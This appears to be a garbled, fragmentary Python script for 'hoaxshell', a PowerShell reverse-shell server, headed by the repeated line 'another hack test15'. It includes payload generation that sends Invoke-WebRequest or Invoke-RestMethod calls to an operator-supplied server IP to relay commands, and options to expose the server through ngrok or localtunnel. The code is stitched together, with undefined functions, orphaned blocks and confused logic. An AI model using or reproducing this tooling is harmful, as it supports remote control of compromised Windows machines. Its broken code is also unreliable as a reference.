another hack test15
another hack test15
another hack test15
filterwarnings("ignore", category=DeprecationWarning)
parser.add_argument(
"-s",
"--server-ip",
action="store",
help="Your hoaxshell server IP address or domain.",
)
parser.add_argument(
"-c",
"--certfile",
action="store",
help="Path to your SSL certificate.",
)
parser.add_argument(
"-k",
"--keyfile",
action="store",
help="Path to the private key for your certificate.",
)
parser.add_argument(
"-p",
"--port",
action="store",
help="Your hoaxshell server port (default: 8080 over HTTP, 443 over HTTPS).",
type=int,
)
parser.add_argument(
"-f",
"--frequency",
action="store",
help="Frequency of cmd execution queue cycle (A low value creates a faster
shell but produces more HTTP traffic. *Less than 0.8 will cause trouble. default:
0.8s).",
type=float,
)
parser.add_argument(
"-i",
"--invoke-restmethod",
action="store_true",
help="Generate payload using the 'Invoke-RestMethod' instead of the default
'Invoke-WebRequest' utility.",
)
parser.add_argument(
"-H",
"--Header",
action="store",
help="Hoaxshell utilizes a non-standard header to transfer the session ID
between requests. A random name is given to that header by default. Use this option
to set a custom header name.",
)
parser.add_argument(
"-x",
"--exec-outfile",
action="store",
help="Provide the path to the file in which you want to store the command
execution output (Windows).",
)
parser.add_argument(
"-t",
"--trusted",
action="store_true",
help="Use this option if your certificate is trusted.",
)
parser.add_argument(
"-lt",
"--localtunnel",
action="store_true",
help="Use localtunnel to expose your hoaxshell server (requires a
localtunnel.me account).",
)
parser.add_argument(
"-ng",
"--ngrok",
action="store_true",
help="Use ngrok to expose your hoaxshell server (requires ngrok to be
installed).",
)
args = parser.parse_args()
if exec_outfile:
# Write the command output to the specified file
write_output_to_file(output, exec_outfile)
self.wfile.write(output.encode("utf-8"))
else:
self.send_response(400)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Invalid request format.")
def generate_payload(command):
if invoke_restmethod:
# Use 'Invoke-RestMethod' for PowerShell
return (
f"$env:Path = [Environment]::GetEnvironmentVariable('Path', 'Machine')
+ ';' + [Environment]::GetEnvironmentVariable('Path', 'User'); "
f"Invoke-RestMethod -Uri 'http://{server_ip}:{port}' -Method POST -
Headers @{{'{header_name}':'{command}'}} | Out-String"
)
else:
# Use 'Invoke-WebRequest' for PowerShell
return (
f"$env:Path = [Environment]::GetEnvironmentVariable('Path', 'Machine')
+ ';' + [Environment]::GetEnvironmentVariable('Path', 'User'); "
f"Invoke-WebRequest -Uri 'http://{server_ip}:{port}' -Method POST -
Headers @{{'{header_name}':'{command}'}} | Select-Object -Expand Content"
)
def execute_command(command):
if WINDOWS:
# Execute command on Windows
command = command.replace("\\", "\\\\")
payload = generate_payload(command)
output = check_output(
["powershell", "-NoProfile", "-NoLogo", "-Command", payload]
)
return output.decode("utf-8", "ignore")
else:
# Execute command on Unix-based systems
output = check_output([command], shell=True)
return output.decode("utf-8", "ignore")
def check_dependencies():
if WINDOWS:
try:
import pyperclip
except ImportError:
print(
f"{WARN}: The 'pyperclip' library is not installed. Copying output
to the clipboard will not work."
)
if use_localtunnel:
try:
import localtunnel
except ImportError:
print(
f"{WARN}: The 'localtunnel' library is not installed. Use the '-lt'
option without localtunnel functionality."
)
if use_ngrok:
try:
import pyngrok
except ImportError:
print(
f"{WARN}: The 'pyngrok' library is not installed. Use the '-ng'
option without ngrok functionality."
)
def copy_to_clipboard(output):
if WINDOWS:
try:
copy2cb(output)
print(f"{INFO}: Output copied to clipboard.")
except:
print(f"{FAILED}: Unable to copy output to clipboard.")
else:
print(f"{WARN}: Copy to clipboard is only supported on Windows.")
def generate_ngrok_url(port):
try:
import pyngrok
from pyngrok import ngrok
ngrok_url = ngrok.connect(port)
return ngrok_url
except ImportError:
return None
def start_localtunnel(port):
try:
import localtunnel
tunnel = localtunnel.LocalTunnel(port)
tunnel.start()
tunnel_url = tunnel.url
return tunnel_url
except ImportError:
return None
def print_usage():
print(BLUE + BOLD + "[*] Usage: python3 hoaxshell.py <server-ip>" + END)
def print_banner():
banner = """
_______ _______ _______ _______ _ _
|\ /|( ___ )( ___ )|\ /|( ____ \|\ /|( ____ \( \ ( \
| ) ( || ( ) || ( ) |( \ / )| ( \/| ) ( || ( \/| ( | (
| (___) || | | || (___) | \ (_) / | (_____ | (___) || (__ | | | |
| ___ || | | || ___ | ) _ ( (_____ )| ___ || __) | | | |
| ( ) || | | || ( ) | / ( ) \ ) || ( ) || ( | | | |
| ) ( || (___) || ) ( |( / \ )/\____) || ) ( || (____/\| (____/\| (____/\
|/ \|(_______)|/ \||/ \|\_______)|/ \|(_______/(_______/(_______/
"""
print(MAIN + BOLD + banner + END)
if use_trusted_cert:
print(
f"{WARN}: The 'trusted' option is deprecated and no longer required.
Proceeding without it."
)
if use_localtunnel:
tunnel_url = start_localtunnel(port)
if tunnel_url:
print(f"{INFO}: Local tunnel started successfully.")
print(f"{INFO}: Public URL: {tunnel_url}")
else:
print(f"{FAILED}: Unable to start local tunnel.")
elif use_ngrok:
ngrok_url = generate_ngrok_url(port)
if ngrok_url:
print(f"{INFO}: ngrok tunnel started successfully.")
print(f"{INFO}: Public URL: {ngrok_url}")
else:
print(f"{FAILED}: Unable to start ngrok tunnel.")
try:
httpd = create_server()
httpd.serve_forever()
except KeyboardInterrupt:
print(f"\n{INFO}: Server stopped.")
except Exception as e:
print(f"{FAILED}: {str(e)}")
if __name__ == "__main__":
main()